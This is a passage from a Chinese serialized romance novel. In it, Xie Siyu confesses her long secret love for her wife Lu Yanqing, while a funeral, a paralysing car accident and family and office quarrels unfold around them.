直到那一瞬,她才明白自己是沦陷了,不知道何时喜欢上那个明媚又温柔的姑娘。 “三年前在咖啡馆签订协议时,卿卿看到的那张锁屏壁纸,就是我喜欢的女生。” 谢思虞双瞳剪水的眸子望着陆言卿,那张照片是她去陆言卿微博大号保存下来的。 “那个人……” 因为谢思虞始终没有说对方的名字,以至于陆言卿听完愈发迷茫,有个大胆又荒谬的想法浮现脑海。 莫非阿虞口中那个人是她? 暖黄色路灯下。 陆言卿的手机响起,打断了她的思绪,是父亲打来的电话:“爸,怎么了?” 【你小姨突然去世,我们需要立刻赶往江城,你现在在哪里?江海澜苑的婚房?】 陆言卿眉头紧蹙,记忆中小姨比母亲还小两岁,怎会突然离世? “没有,我和阿虞在华晨里。妈她没事吧?” 【情绪很不稳定。】 “那你们先过去,我和阿虞稍后动身。” 陆言卿挂断电话,小姨这些年生活在江城,距离榕城不算远,开车只需要3个小时。 而谢思虞也在低头看手机。 「Elis资金链断裂,谢明远到处求人碰壁,我担心他狗急跳墙,你最近出行注意安全。」 “阿虞……” “卿卿……” 两人不约而同出声,陆言卿攥紧手机,简单说了小姨离世的事情:“阿虞刚想说什么?” 她肯定要去江城的,最少三天时间。 谢思虞眼底闪过意外,张了张嘴巴,没有说谢明远的事,这种时候没必要添乱了。 “按理说我应该跟卿卿一起去江城,但集团需要有人留守。” 陆言卿欲言又止,牵着谢思虞往回走,顺便拨通了刘跃的电话。 十五分钟后。 刘跃开车抵达E09栋别墅。 谢思虞送陆言卿上车,亲手关上车门,片刻后又打开,弯腰坐进去,勾住她的颈脖按向自己,在她唇上轻轻一吻:“初恋的事等卿卿回来我们再说。” “结果对卿卿来说,应该算惊喜?” 第82章 从来没有别人,只有你。 三天后, 榕城第二人民医院。 上午10点,医院住院大楼过道里弥漫着淡淡的消毒水味道。 谢思虞刚抵达病房门口,就听到里面传来谢明远歇斯底里的怒吼声:“滚——都给我滚出去!” “这种时候你不会还指望你的前妻回国照顾你吧?谢董……也不对, 现在应该称呼您为谢先生。” 病房的门打开,护士手里还攥着染血的棉签,身侧的护工被羞辱脸色青白交替, 她们见到门口有人先是一愣,随后不约而同低下头快速离开。 谢思虞侧身让路, 等她们走远才挑眉看向病房内。 只见谢明远身穿蓝白条纹的病服躺在床上,右手手背上的输液针头被他扯掉了,有鲜红的血渗出。 因为他擅自扯掉氧气面罩, 一旁的监护仪发出刺耳的报警声。 “咳咳咳——谢思虞你还敢, 还敢出现在我面前!三年前Elis资金链断裂就是你搞的鬼!” 谢明远看到谢思虞,那双充血的眼睛里迸发出浓郁的恨意, 太阳穴青筋凸起,挣扎着要坐起来,可惜他的双腿没有一点知觉。 痛苦又无力,只能疯狂捶打床栏。 是的,前天晚上凌晨两点。 他开车从郊区回来,途经跨江大桥,遇到两辆车追逐相撞, 其中后车加速想要超越前车,结果速度太快导致车辆失控而撞上他。 事发突然, 他根本躲闪不及, 连人带车撞向右侧的护栏, 安全气囊弹出,他只感觉双腿一阵剧痛, 随后便陷入无边无尽的黑暗中。 醒来人躺在重症监护室。 外面只有管家张叔守着,时间也过去了两天一夜。 那晚救护人员成功救下他,不过因为营救时间过长,错失最佳抢救时间,他双腿永久性瘫痪了。 这跟废人有什么区别! 谢思虞面色平静,扫了眼满地的狼藉,没有上前,只是往里走了两步,打算把门关上。 对上门外刘燕担忧的目光,她轻声安抚:“没事,我跟他说几句话就走。” “你不用狡辩,我已经查到真相了。” 谢明远恨恨地咬着牙,好似一条阴毒的眼镜蛇盯着谢思虞,要是他能站起身,绝对会冲上去打她几巴掌! 谢思虞莞尔一笑:“我为什么要那么做呢?” 谢明远嗔目切齿:“你伪装柔弱骗过我,又机关算计讨好陆老爷子,不就是想嫁进陆家?” 事到如今他可算是明白谢思虞下这盘棋的最终目的了。 她想要摆脱谢家,摆脱他的控制,唯有依附比谢家更强大的人。 谢思虞慢条斯理拿出包里的手机,打开照相机,镜头对准谢明远,咔嚓咔嚓几声。 “我不是想嫁进陆家,而是要嫁给陆言卿。” 谢明远挣扎许久,终于失去力气瘫软在床上,只是那双猩红的眼还瞅着谢思虞:“这两者有何区别?” “当然有区别。” 懒得跟谢明远浪费口舌,谢思虞把照片发给谢知瑶。 谢明远也不想争论,仰面看着天花板:“你姓谢,是我的亲生女儿——” “闭嘴。” 谢思虞冷声打断,原本波澜不惊的瞳仁里露出一丝恨意来,“我们之间早就没有情分了,你是该忏悔,因为你的自私自利毁了我母亲一生。” 这些年她早已看清,这个男人爱的只有自己,他会走到这一步,全都是他咎由自取。 目前Elis正在清算,如果资不抵债,谢明远估计还要卖房子卖车来凑钱。 原本Elis没那么快破产,是谢明远急不可耐找人投资,才会着了竞争对手设计的陷阱。 再加上之前周静转移不少私产,谢明远跟她离婚,今后的处境只会更糟。 当然了,如果她们母女愿意回国照顾他的话,他倒是能安享晚年,可她们会回来吗? “所以你来就是为了看我的笑话?” 谢明远嗤笑,闭了闭眼睛,偏头看向窗户方向,也不知道是不是他的错觉,好像看到一个穿碎花裙的女子站在那里。 她还是跟记忆中一样清瘦高挑。 谢思虞深呼吸一口气,攥紧手提包,低垂的眸光闪了又闪,说出今天过来的来意:“如果你对母亲还有哪怕一分愧疚,请你亲自登门跟那位长辈道歉。” 说完转身扭动病房门把手,门拉开一半又停下,“让她了却生前唯一的遗憾。” 不要让她在恩师面前做一个言而无信的学生。 几分钟后。 两人回到宾利车上,从病房一路过来,刘燕看出谢思虞心情低落,想安慰可她嘴巴笨,怕惹得她更不愉快。 “思虞姐,哥哥说他和陆总稍后就出发回榕城。” 同一时间。 谢思虞也收到了陆言卿的微信消息。 「阿虞,我大概下午4点抵达榕城,有事要回老宅找祖父,晚上秦老夫人孙女的周岁宴你和温月怡她们先去,我晚些时候到。」 “嗯,她也同我说了。” 谢思虞唇角牵出淡淡的弧度,让刘燕开车回陆氏集团,而她低垂着头看手机,锁屏壁纸她换回了三年前那张。 陆言卿穿着校服站在教学楼前面,照片是同学从后面偷拍的,所以仅是背影。 确定对女孩的心意后。 再去看她的微博小号,心境也变得不同。 三年前陆爷爷同意她嫁给陆言卿,她期待憧憬的同时,也惶恐不安。 谢知瑶知晓这件事,哭过闹过,倒不是说她也喜欢陆言卿,只是单纯不愿她嫁得那般好。 深思熟虑,多方不得已的情况下,她有意无意向谢知瑶透露有暗恋对象的事情。 很快这件事在圈子里传开,自然而然也传到了陆言卿及其朋友们的耳朵里。 今天是艳阳天。 车辆行驶过程中,阳光穿透梧桐树叶的间隙洒下斑驳的光影。 谢思虞抬眸看向车窗外,潋滟的眼眸浸染上明媚的笑意:“卿卿知道真相,会生气吗?” 她又一次欺骗了她。 与此同时,江城。 连续两日下雨,山里到处都是雾蒙蒙的,淅淅沥沥的小雨还在继续。 陆言卿等人从墓地回到小姨的半山别墅,她把黑色雨伞递给身旁的妹妹:“母亲这几天伤心过度,食不下咽,你多费心照顾,我稍后要赶回榕城。” 陆言薇站在别墅院子门口的台阶上,看了眼路边的黑色奔驰车,轻轻点头:“姐是放心不下嫂嫂吧?我会照顾好妈妈的,你回去路上小心。” 小姨今年50岁,她的第一段婚姻所托非人,第二段婚姻还算幸福美满,和小姨夫生下一对双胞胎女儿,今年15岁。 中考成绩优异,两位表妹都考入江城重点高中。 可谁能想到小姨竟患有严重的抑郁症? 突然离世也是跟抑郁症有关。 妈妈舅舅,包括外婆在内,一时间都没法接受这个事实。 “你要走?” 沈若华见女儿没跟上,回头见她们姐妹站在门口说话,蹙眉走过来。 “嗯,小姨已经入土为安,剩下的事情你们会处理,我留下的意义不大。” 陆言卿看向妹妹身后的母亲,她双眼红肿,脸色苍白,透着说不出的憔悴,这种时候她没有跟她吵。 陆言薇朝着姐姐走了两步,撑着雨伞替姐姐挡霏霏细雨:“是啊妈妈,我知道您痛心疾首,小姨如果还在,肯定不愿见你不爱惜自己身体,姐姐回去也是有急事。” 您强留着她做什么呢? 最后一句话她没敢说。 因为嫂嫂的父亲遭遇车祸,不知哪里传出的流言,竟说是嫂嫂暗地里下的手。 原本姐姐昨天清早就要回榕城,却被母亲拦下,说什么要等小姨上山。 “Elis破产她还不满意?如今谢明远也被她弄进医院,你急着回去是给她收拾烂摊子?” 沈若华情绪有些失控,想到妹妹的不幸遭遇,她红着眼看向大女儿,口不遮拦:“我看你们干脆离婚……” “够了!” 陆言卿温怒的声音打断母亲,她也没想到事赶事都撞到一块,那晚妻子拒绝跟她过来江城,想来就是知道了什么。 “谢明远之所以遭遇车祸,具体原因警方已经调查清楚了,这件事跟阿虞没有关系。” 那晚在主干道追逐相撞的两辆车,其中一名男司机怒路症犯了,因为前车为了躲行人,猛踩两次刹车,他就故意超车后别人家。 谢明远确实是无辜被牵连。 只能说世事无常。 沈若华气笑了:“你敢说Elis破产跟她没关系?谢知瑶闹出抄袭的事跟她没关系?” 陆言卿盯着情绪不稳定的母亲,眼底有很浅的水波荡漾了下,没有回答这个问题,而是对身侧的妹妹开口:“母亲累了,你送她进屋休息,我走了。” 陆言薇连忙点头,结果她刚触碰到沈若华的胳膊就被她甩开,耳边响起母亲愤怒的喊声:“陆言卿你不要助纣为虐!谢思虞她是喜欢你,可她也有野心,你们将来的路还很长,她未必就适合你——” 今日送小姨出殡,陆言卿穿着黑色西装外套,扎着低马尾,也没有化妆,可以说是素面朝天。 她孤身站在奔驰车前,毛毛细雨落在她身上,整个人显得清冷又疏离。 “阿虞和谢明远之间的恩怨你不知道,所以不要恶意揣测她,就算她利用我报复谢家又如何?” 陆言卿冷眸扫过沈若华摇摇欲坠的身子,在她不分青红皂白诋毁妻子时,心已然跌入谷底,“她是我的妻子,我心甘情愿成为她手中的利刃。” “你要是不待见我们,今后没有必要,我不会带她去陆家。” 陆言卿弯腰坐进车的后排,“砰”的一声关上了车门,很快车辆启动,消失在道路尽头。 沈若华自认为是好言相劝,没想到大女儿竟说出这样的话,一时无法承受,再加上这几天伤心过度,最终还是倒下了。 「妈妈心直口快,她就是太心疼小姨才会如此,姐姐你不要生妈妈的气。」 「至于嫂嫂,妈妈也没有不喜欢她。」 下山的路蜿蜒盘旋,陆言卿听到包里手机震动,始终没有拿出来看,直到下山道路变得平直,她才解锁了手机。 生气? 妹妹哪里知道,她没有生母亲的气,只是失望透顶。 母亲哪怕多关心她一分,今天也不会说出这样的话来。 陆言卿没有回复妹妹,闭上眼睛靠着座椅靠背休息,谢明远出事,关于阿虞暗害他的流言就在圈子里传来。 何人所为,她心里也有数。 等回到榕城,她需要先去见祖父一面- 晚上7点。 榕城秦家,秦老夫人穿着绛红色的旗袍坐在主位,手里捻着一串翡翠佛珠。 老夫人正含笑看着小孙女抓周,别看她面容慈祥和蔼,俨然一副平易近人的模样。 这位年轻时可是雷厉风行的女强人,秦氏集团有今天都是她的功劳。 可惜她生的两个女儿没有继承她经商的天赋,秦氏集团这两年也在走下坡路。 “锁屏又换回去了?” 温月怡晃着红酒杯,无意间瞥见谢思虞的手机屏幕,壁纸里穿蓝白校服的陆言卿背影取代了多年未变的星空图,“看样子你已经跟她说清楚了~” 要知道这张背影壁纸也“折磨”了她很多年,当年她们还在上大学,不管她如何软磨硬泡,谢思虞都不肯告诉她照片上的人是谁。 只说是她很喜欢很喜欢的姑娘。 直到三年前陆家老爷子打算给陆言卿这个孙女找妻子。 她才从谢思虞那里知晓“真相”。 谢思虞将鬓发别到耳后,珍珠耳钉在暖光灯下微闪,笑着把手机放进包里,微信上陆言卿说还有半个小时到周岁宴现场。 “今晚跟她坦白。” 温月怡眼底闪过不可思议,距离她们玩真心话大冒险都过去三天了吧? 这事还没说清楚? 忽然想到这几天发生的事,她悻悻然耸肩:“也是,暗恋这种事还是要当面说清楚。” 反正让她暗恋一个人四年,她肯定是做不到的。 谢思虞在人群中看到熟悉的人,碰了碰温月怡的胳膊:“我去那边找个人。” 温月怡漫不经心“嗯”了声,好友刚走,旁边一个穿粉色礼服的千金突然凑过来,神秘兮兮的问:“温小姐,陆夫人嫁给陆总之前真的有暗恋对象吗?” 几年前,这事就像一阵风在圈子里传开,然而没过多久陆言卿就跟谢思虞联姻。 大家顾忌陆言卿的面子,不敢私下议论她的新婚妻子。 谁能想到陆言卿突然“出国”了,半年,一年都没有回来。 渐渐的,不少人又传陆言卿是因为娶了个心里装着她人的妻子,厌恶至极才躲藏到国外。 “对啊。” 温月怡浅浅抿了口高脚杯中的红酒,嘴角露出坏坏的笑来,“小鱼偷偷暗恋那人4年,结果和陆言卿结婚了。” 忽然看到堂姐从远处走过来,温月怡轻咳两声,怕开玩笑被训斥,又急忙找补,“你别瞎想啊,小鱼最后可是抱得美人归了。” 穿粉色礼服的女生眨眨眼,表示她都懂,陆总可不就是圈子里出了名的温柔美人嘛。 宴会厅人来人往,能被秦家邀请,多数都是圈内有头有脸的家族。 这事传着传着,等传到陆言卿耳朵里,就变成了谢思虞暗恋隔壁学校的学妹整整四年,如今手机里还偷藏着人家学生时代的照片。 “爷爷,您先回去,我去找阿虞。” 祖父和秦老夫人交情匪浅,陆言卿下午回到老宅,从爷爷口中得到想要的保证后,便跟祖父一同赶往宴会现场。 他们去见老夫人时,书房还有其他长辈在,就她一个晚辈,难免多饮了几杯红酒。 酒精慢慢发酵,脸颊泛起淡淡的红晕,陆言卿揉了揉肿胀的太阳穴,侍应生说的“陆夫人应该在二楼走廊”在耳蜗里嗡嗡作响。 宴会厅一楼热闹喧嚣,二楼长廊就显得格外冷清。 陆言卿扶着墙壁站稳身体,远远就看到心上人,明亮皎洁的月光下,谢思虞站在窗前,影子如墨色绸缎铺在地毯上。 “阿虞。” 玻璃窗映出陆言卿泛红的眼尾,她踉跄着将谢思虞抵在落地窗上,从后面紧紧搂抱着她。 谢思虞刚结束和刘瑶的通话,没想到陆言卿突然出现,她抱得她那样紧,手机滑落在地毯上。 屏幕朝上。 陆言卿垂眸,便将那张照片看的清清楚楚。 顿时心脏传来一阵刺痛。 这张背景图她见过的。 就在她和谢思虞签订协议书那天。 脑海里浮现出妻子慌张摁灭屏幕的画面,一时间呼吸都变得艰涩起来。 理智告诉她不要介意,可她控制不住。 她低头含住谢思虞耳垂上的珍珠,喘息问:“有没有别人碰过这里?” 她觉得自己快要疯掉了。 同时也被嫉妒冲昏了头脑。 谢思虞前面是落地窗玻璃,身后是陆言卿温软滚烫的身体,她还那般含咬她的耳垂。 宛若过电般的酥麻席卷全身,她险些闷哼出声。 这里不是家里,随时可能有外人过来,她是又羞又怕,胸腔里心跳紊乱无序,仿佛下一秒就会跳出来。 “卿卿你醉了,我们回家再说好不好?” 陆言卿呼出的气息很烫,还带着葡萄酒的醇香。 她知道,她应该是醉了。 “阿虞不要回避。” 扣住谢思虞的肩膀,转过她的身子,她也趁机贴上去,两人的身躯再次密不透风贴合在一起。 月光将她们的影子拉长,暧昧交叠,缠绵又缱绻。 害怕听到她说出口的答案,陆言卿俯身低头噙住谢思虞的唇,霸道又急切。 “唔……疼……” 谢思虞察觉到陆言卿心情不好,娇嫩柔软的唇瓣撞到她的贝齿,疼的她下意识蹙眉,双手紧紧攥着对方身后的衣裙,“卿卿,你怎么了?” 「有没有别人碰过这里?」 卿卿刚才好像说的是这句话? “不许想别人。” 陆言卿听到怀里人喊疼那瞬,便下意识放轻了力道,用几乎虔诚的温柔吻她。 但谢思虞走神了。 她在亲她,她还在想别人吗? 陆言卿压着谢思虞,双手捧着她的脸颊,额头贴上她的额头,温热,暧昧,急促的呼吸落在她脸庞。 湿热,爱怜的吻再次覆上去。 “没有别人。” 谢思虞终于反应过来陆言卿的‘反常’是为何,掐着她的腰肢,红着眼道,“从来没有别人,只有你。” “卿卿,我要的从来都不是相敬如宾——” “手机锁屏上的女生是你,傻卿卿,你还不明白吗?我暗恋多年的女生就是你啊。” 傻瓜。 谢思虞在陆言卿愣神时主动吻上去,闭上眼睛,一颗晶莹的泪珠从眼角滑落。 从她24岁知晓自己的心意,便将陆言卿藏在心里。 好不容易嫁给她。 又等了她一千多个日夜。 然而她回来就想要跟她离婚,她哪里甘心? 哪里会放手? 含住陆言卿的下唇,吮吸舔-弄,不管跟她接吻多少次,每次跟她亲吻,心好似都要紧张到跳出来。 她喜欢她,那么那么喜欢她,又怎舍得让她委屈难过? “卿卿不相信吗?” 陆言卿从最初的嫉妒委屈,到现在的震惊欣喜,被酒精吞噬的大脑艰难的找回理智。 倾身将谢思虞温柔地抱住,还是有些不敢置信。 她何德何能? 能让谢思虞喜欢,四年?不,更准确来说是快7年了。 “我信的,阿虞,你……我爱你。” 激动兴奋到语无伦次,陆言卿把谢思虞抱得很紧,那架势恨不得将她融入自己骨血之中,千言万语化成了最庸俗的三个字。 眉眼含笑,高兴像孩童一般,低头亲吻妻子的额头,眼睛,鼻尖,再到嘴巴。 唇瓣相互吮吸发出细碎的水声,在寂静无人的走廊,撩人又暧昧。 哦,也不算没有人。 一楼通往二楼的楼梯,秦家二小姐,也就是今天周岁宝贝的小姨秦莺,她上楼是准备换礼服的,哪里想到会撞见这般缠绵悱恻的画面。 “咳咳咳——” 楼下姐姐在催,秦莺只好装咳嗽打断两人,楼下还传她们逢场作戏,商业联姻没有感情。 刚刚就应该把这一幕拍下来。 没想到她没拍,有人拍了,落地窗外一楼是秦家的后院。 “秦二小姐。” 谢思虞被陆言卿亲的浑身发软,险些站不稳,好在身侧陆言卿搂抱着她的腰。 其实陆言卿此刻的状态也说不上好,毕竟她之前饮了不少酒。 秦莺腼腆一笑:“陆总是喝醉了吗?我带你们上楼休息?” “谢谢,但不用麻烦了。” 谢思虞柔声拒绝,迅速调整好状态,双手挽着陆言卿胳膊,跟秦莺告别,她们从别墅直梯离开。 没想到当晚她们这事就在圈子里传开了。 次日。 是个阴雨天。 两人前往集团路上,今天是谢思虞开车,陆言卿坐在副驾驶,正在看财务报表,手机顶部弹出的消息是一条接着一条。 【图片】 【图片】 【图片】 【上面的人是你吧?在人家小宝贝的生日宴会上,你是太饥-渴?还是太生气?把思虞姐抵在落地窗玻璃上亲?】 陆言卿点开照片,拍摄角度是楼下花园,距离不远也不近,因为光线原因,画面就显得额外暧昧色Q。 【是我。】 陆言卿很高冷的回了两个字,然后把几张照片全部保存下来。 昨晚在秦家,确实是她们失礼。 【有的事吧,真没必要较真,谁都有过往,你不是还跟苏蔓交往过吗?】 【只要思虞姐现在喜欢你就好了啊。】 【姐妹儿,你已经很幸运了。】 陆言卿越看越无语,抬眸往谢思虞方向看了眼,其实她才应该去当演员吧? 演技那么好。 “怎么了?” 陆言卿摇摇头,大拇指摁住微信聊天页面底部的按钮:“不要听别人瞎传,阿虞暗恋的人就是我。” 【哈哈,这也行。】 “阿虞,晚意不相信你暗恋的人是我。” 途经十字路口,遇到红灯。 车缓慢停下来,陆言卿把手机屏幕对准驾驶座的谢思虞,眼底露出小小的傲娇。 谢思虞哭笑不得,接过陆言卿手中的手机:“晚意,我确实喜欢了卿卿很多年,详细的事情你可以问月怡,她知道……一部分?” 【啊啊啊啊啊——】 【陆言卿你上辈子是拯救了银河系吧!!!!】 【我真的,要哭死。】 【思虞姐暗恋的人竟然是你,这算得偿所愿吗?她和你结婚了,而你也爱她?】 “阿虞,是我幸运,还是你幸运?” 陆言卿切换响铃到震动模式,手机扔进包包里,歪头看向旁边的妻子。 谢思虞潋滟温柔的眼眸看向陆言卿,握住对方的手,指腹轻轻磨挲她的手背,嗓音坚定又深情:“当然是我更幸运。” “也不能说幸运,是我不折手段才站在了卿卿的身边,让你有机会看到我。” 有机会喜欢我。 甚至是爱上我。 陆言卿反手握住谢思虞的手,笑容温柔且明媚:“阿虞别这样说自己,我们相遇,就是上苍最好的安排。” “我能爱上阿虞,也是因为阿虞值得。” 如果当初跟她联姻的人不是谢思虞,她也会跟对方签订协议。 谢思虞笑而不语。 60秒红灯结束,45秒绿灯开始倒计时,她轻踩油门启动车辆。 陆言卿本身就是极好的人。 她的爱给谁都很热烈。 如果不是她,她身边也会有别的人。 所以啊,她当年才会拼尽全力去抢,去争。 第83章 阿虞什么时候开始喜欢我的? 8:45分。 陆氏集团负一楼停车场。 谢思虞熄了火, 解开身上的安全带,刚碰到车门锁,右手腕间传来温热的触感, 但陆言卿无名指上的戒指贴着她皮肤有点凉。 温柔的眼眸里闪过疑惑:“怎么了?” “阿虞。” 陆言卿注视妻子的目光分外柔和,声音也比平时软,手指轻轻摩挲她手腕内侧, “我不想从别人口中得知,你亲口告诉我好不好?” 谢思虞不明所以:“什么?” 陆言卿眉眼含笑, 凑过去轻啄谢思虞的唇:“阿虞什么时候开始喜欢我的?” 谢思虞闻言不自觉绷紧了腰背,眸光闪了又闪,脑海中突然浮现七年前的跨年夜。 海洋公园最大的水母箱泛着蓝光, 陆言卿身上的白色羽绒服被映得像深海颜色。 周围人都在喊倒计时, 她站在人群中偷看她被光影描出的侧脸,手心里全是汗。 一颗心也是, 跳的凌乱又无序。 “不知道什么时候喜欢上卿卿的。” “阿虞是在……哄我?” “没有哄卿卿,七年前海洋公园跨年烟火表演你还记得吗?” 谢思虞戳了戳陆言卿的锁骨,耐心解释:“当时你和钟晚意站在摩天轮下吃冰淇淋,而我在人群中……偷看卿卿,也是那时才意识到自己的心意。” 所以要问她是什么时候喜欢上陆言卿的,她也不知道。 这份感情她一直珍藏在心底,不管温月怡如何询问, 她都闭口不谈。 直到她们领证。 结婚证上‘谢思虞’和‘陆言卿’几个字并排在一起,那么近那么近, 可她们相隔又那么远那么远。 她跨越山海来到她身边, 哪怕仅有三年, 她都甘之如饴。 那晚,她一宿没睡。 因为欢愉, 也因为忐忑。 不曾想的是陆言卿第二天就消失在她的世界。 整整一千零九九个日夜,期间她无数次后悔,要是她没有费尽心机嫁给她就好了。 至少她能“看到”陆言卿。 至少她知道她平安无事。 陆言卿消失的第一年,她跟随陆奶奶去寺庙烧香,虔诚地跪在佛祖面前,恳求它把妻子还给她。 第二年,她不再奢求陆言卿回到她的身边,只愿佛祖保佑她平平安安。 「陆言卿,只要你平安归来。」 「我便放你离开。」 「也放过自己。」 这是她在佛祖面前说过的话,可当陆言卿真真正正回到她的世界,她才发现,自己是不甘心的。 对啊,凭什么呢? 于是她利用陆言卿对她的愧疚,“暂时”延长了只剩两个月零五天的婚姻。 她希望陆言卿会喜欢她。 然而当陆言卿真的对自己动心时,她又变得惶恐不安。 因为这份婚姻是她不折手段抢来的。 她曾经还差点害死她。 焦虑,恐慌。 害怕失去,害怕在陆言卿眼里看到厌恶和反感。 “卿卿,我快要坠入深渊时,是你抓住了我。” 车顶感应灯暗下来。 谢思虞倾身抱住陆言卿,下巴轻轻搁在她肩头,不知何时眼眶浸染了朦胧的水意。 在这段“不对等”的感情里,她太敏感太自卑,稍微有点风吹草动便疑神疑鬼。 惶恐不安。 察觉到谢思虞稍重的呼吸,陆言卿心也跟着一紧,轻柔的吻落在她颤抖的眼睑:“跨年烟火表演的事我记得。” 但我却不知道那时的你。 “阿虞今后慢慢讲给我听。” 陆言卿重重地吐出一口气,指尖细细描绘谢思虞的眉眼,眼神宠溺,“不能有丝毫隐瞒。” 谢思虞莞尔一笑:“好,都告诉卿卿。” 陆言卿握住谢思虞的手腕轻轻用力,将人抱进怀里,很紧,很紧。 虽然她没有暗恋的经历,可亲眼目睹过钟晚意喜欢宋薇。 压下内心深处翻涌的情绪,稍稍偏头亲了亲妻子的侧脸:“阿虞,谢谢你喜欢我。” 也谢谢你没有放弃喜欢我。 两人在车内紧密相拥。 气氛旖旎暧昧。 沈砚清站在不远处等了五分钟,眼看要到打卡时间,不得已走上前敲了敲车窗玻璃。 几分钟后。 电梯间。 沈砚清假装没有看到好友泛红的耳尖,瞥了眼电梯壁上跳动的数字,因为有销售部的周总监在,她一副公事公办的口吻:“谢副总,今天我请半天事假。” “远道而来的朋友打算明天回去,今晚想请她们吃顿饭。” 担心谢思虞被陆言卿亲“糊涂”了,沈砚清十分贴心的解释。 谢思虞:“……好。” 参加完秦老夫人孙女的周岁宴,月怡她们确实打算要回N市了。 站在靠近电梯门的周越是销售部的总监,他算是集团的老员工了,忽然听到沈砚清要请事假,意味深长地眯起眼:“这天是要下红雨吗?沈总监竟然请事假?” 要知道集团员工们私下可称呼沈砚清为福利体系的‘暴君’,别说是事假,就是半天病假也会影响当月全勤奖。 沈砚清入职以来,严格要求集团员工,同时也以身作则。 今天却一改常态。 “周总监没有朋友?” 沈砚清冷飘飘的眼神扫过去。 周越讪讪地摸了摸鼻子:“这话说的,我就是好奇,沈总监请事假都要陪的朋友,应该不仅仅是朋友吧?” 邀请对方吃晚饭,完全可以等下班啊,没必要请半天假。 “叮”的一声。 电梯抵达14楼人事部。 沈砚清迈开脚往电梯门方向走,又瞥了周越一眼,说的话也半真半假:“不愧是周总监,总能一语中的,确实不是陪朋友,而是陪心上人。 ” 沈砚清嘴角勾着笑,却令人感觉到冷,周越悻悻然耸肩,幸好15楼就是销售部,他急忙消失在电梯,没有在陆言卿和谢思虞跟前出丑。 “她是开玩笑?” 电梯里只剩下她们两人,陆言卿好像没有骨头一般,半个身子都靠在谢思虞身上,勾起她一缕微卷的长发,绕着指尖玩。 温热的呼吸落在耳畔,谢思虞长睫微垂,稳住心神,认真的想了想才回答:“我不确定。” “沈总监喜欢温大小姐?” “为什么不是月怡?” “阿虞不是说沈总监私下很八卦?她们两在一起太吵了。” “……” 谢思虞听到陆言卿的解释,没忍住轻笑出声,唇角扬起温和笑容:“月怡说她看到砚清趁月晗姐睡觉偷偷亲吻过她,可这么多年过去,她们并未在一起。” 当初砚清打算留在N市发展,但不知道她和温月晗之间发生过什么,毕业后她回到了榕城。 这些年她也旁敲侧击问过沈砚清,每次都被她插科打诨糊弄过去,久而久之她便不再提及。 电梯抵达32楼。 陆言卿牵着谢思虞走出电梯,虽然这些天和温月晗接触不多,但她能感觉到她并不喜欢阿虞。 更多是把阿虞当作妹妹。 “今晚叫上大家去海滨别墅聚餐?” “好,稍后我拉个群,把消息告诉大家。” 谢思虞走出电梯就闻到一股咖啡的醇香,下意识看向秘书办公区。 江晓晓正在喝拿铁咖啡,是楼下咖啡馆买的,察觉到谢思虞的视线,她愣了下,急忙站起身,支支吾吾:“抱歉谢副总,我……马上处理掉。” 这段时间谢思虞喝花茶,她们三人也不在办公室喝咖啡了,实在忍不住也是下班时候喝。 今天之所以把咖啡带上楼,主要是这周周报没写完。 “没关系。” 在江晓晓要扔掉咖啡时谢思虞出声阻止了她,没必要因为她一个人,搞得大家都禁止喝咖啡。 陆言卿轻轻挠了挠谢思虞的掌心,凑到她耳边小声问:“阿虞想喝咖啡吗?” “还好?” 谢思虞似乎在陆言卿眼睛里看到了揶揄,等她仔细再看,那双漂亮的杏眼里又只剩无尽的温柔与宠溺。 捏了捏陆言卿的指尖,眉眼弯成月牙,“茉莉花茶也能好喝。” 自从陆言卿回来后,她的一日三餐都很规律,甚至包括睡眠。 她已经快想不起来胃疼和失眠是什么滋味了。 “午休时‘请’阿虞喝。” 陆言卿眼中闪过坏笑,那个请字也说的额外暧昧,感觉到包里手机震动,看到来电显示,唇角的笑淡了几分。 推门进入总裁办。 陆言卿关上门,把链条包挂在一旁的衣帽架上,慢条斯理走到办公椅前坐下,摁了接听键。 手机没有放在耳边,而是放在桌上,她打开了免提功能。 不出她所料。 听筒那头传来二叔气急败坏的声音:“陆言卿你给你堂哥寄那些资料是什么意思!难不成你还想把他赶出陆氏?” 陆言卿慵懒地支着下巴,忽然想起什么,将通话页面退至后台,打开了微信。 「阿虞,你衬衫领口有我刚不小心蹭上的口红印。」 “你到底有没有听我说话?” “陆言卿,就算你是集团总裁,有些事也不是你说了算!” 陆言卿眼神清明,相比陆弘毅的歇斯底里,她更云淡风轻:“怎么不是我说了算?二叔怕不是忘记了,我才是集团拥有绝对控股权的人。” “你——” 陆言卿眸光渐深,语调透着危险:“管好您的儿子,这次我能将他踢出董事会,下次我就能把他踢出陆氏。” 谢明远遭遇车祸。 陆言昭断了腿在医院休养,他就是太闲了,才会像只疯狗一样攀咬阿虞。 那些关于阿虞才是背地里暗害谢明远“真凶”的流言蜚语。 就是陆言昭找人传播的。 “老爷子那边——” 陆弘毅只有那么一个儿子,就算再混账,他也不能不为他打算。 “我事先请示过爷爷。” 第84章 民政局:我们不是隐婚,可以戴婚戒 “二叔, 你们一而再再而三伤害诋毁阿虞,已经触及到我的底线,我不是没脾气。” 陆言卿说完便挂断了电话, 这几年陆言昭做错事有人给他兜底,把他胆子养大也愈发的“无法无天”。 前不久祖母在老宅院子跌倒,祖父对二叔也寒了心。 让陆言昭退出董事会。 就是她的警告, 也是祖父同意了的。 隔壁副总办公室。 谢思虞打开电脑,工作邮箱里有沈砚清的请假条, 时间显示是昨晚凌晨2点发送的。 “失眠是因为月晗姐?” 退出邮箱,谢思虞打开了微信,思前想后还是给沈砚清发了信息, 但没敢直接询问, 而是迂回婉转。 「月怡和月晗姐明天上午10的航班飞N市。」 「晚上一起去海滨别墅聚餐?」 对面的人几乎是秒回:好啊。 谢思虞将别墅的定位发送给沈砚清,又斟酌要如何开口, 输入框的内容删删减减好几次。 「你到底想说什么?」 这都五分钟了。 14楼人力资源总监办公室。 聊天页面上方显示正在输入,沈砚清以为谢思虞还有话要说,于是一直等着。 结果时间一分一秒过去,她的眉头也越拧越紧。 「你还喜欢月晗姐吗?」 下一秒,沈砚清看清谢思虞最新发来的一行文字,不自觉绷紧了腰背。 呼吸也变得迟缓起来。 还喜欢吗? 沈砚清眼睑低垂,脸色显而易见的沉下去, 攥紧了手机,指尖隐隐泛白。 4年前那人就明确拒绝她了啊。 「沈同学, 我们不合适。」 沈砚清眸底目光闪了又闪, 静默半晌锁了屏幕, 随手把手机搁在办公桌上。 起身来到落地窗前,温暖明媚的阳光穿透玻璃落在她身上, 她却感觉前所未有的冷。 今天之所以请假,确实是私心作祟,忍不住想去看看她。 哪怕不说话,只是看一眼也是好的。 